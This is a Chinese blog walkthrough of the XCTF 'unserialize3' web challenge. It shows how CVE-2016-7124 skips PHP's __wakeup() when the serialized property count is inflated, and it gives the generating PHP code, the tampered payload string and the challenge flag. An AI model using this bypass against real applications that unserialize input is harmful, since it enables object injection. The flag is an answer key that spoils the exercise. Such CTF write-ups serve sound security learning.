攻防世界-web unserialize3

结尾提示?code= 猜测通过code传入参数

 __wakeup() 是魔术方法,经常用在反序列化操作中,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

由题目代码可知只要触发了wakeup()方法就会执行exit()结束程序

根据题目描述这是一道反序列化题,猜测操作查看flag的代码在xctf类中并且隐藏了没显示在前台,我们需要利用反序列化来调用xctf类,同时需要绕过wakeup()方法

PS:利用CVE-2016-7124漏洞可绕过__wakeup()魔术方法

漏洞产生原因:如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

构造序列化:把下面代码放到本地或在线php运行工具上运行

<?php 
    class xctf{
        public $flag = '111';
        public function __wakeup(){
        exit('bad requests');}
    }
    $test = new xctf();
    echo serialize($test);
?>

得到序列化后的内容: 

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

把属性过数1改为2

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

浏览器提交 

cyberpeace{064fb8821869c455d6c6409bd4676c59} 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

码啊码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值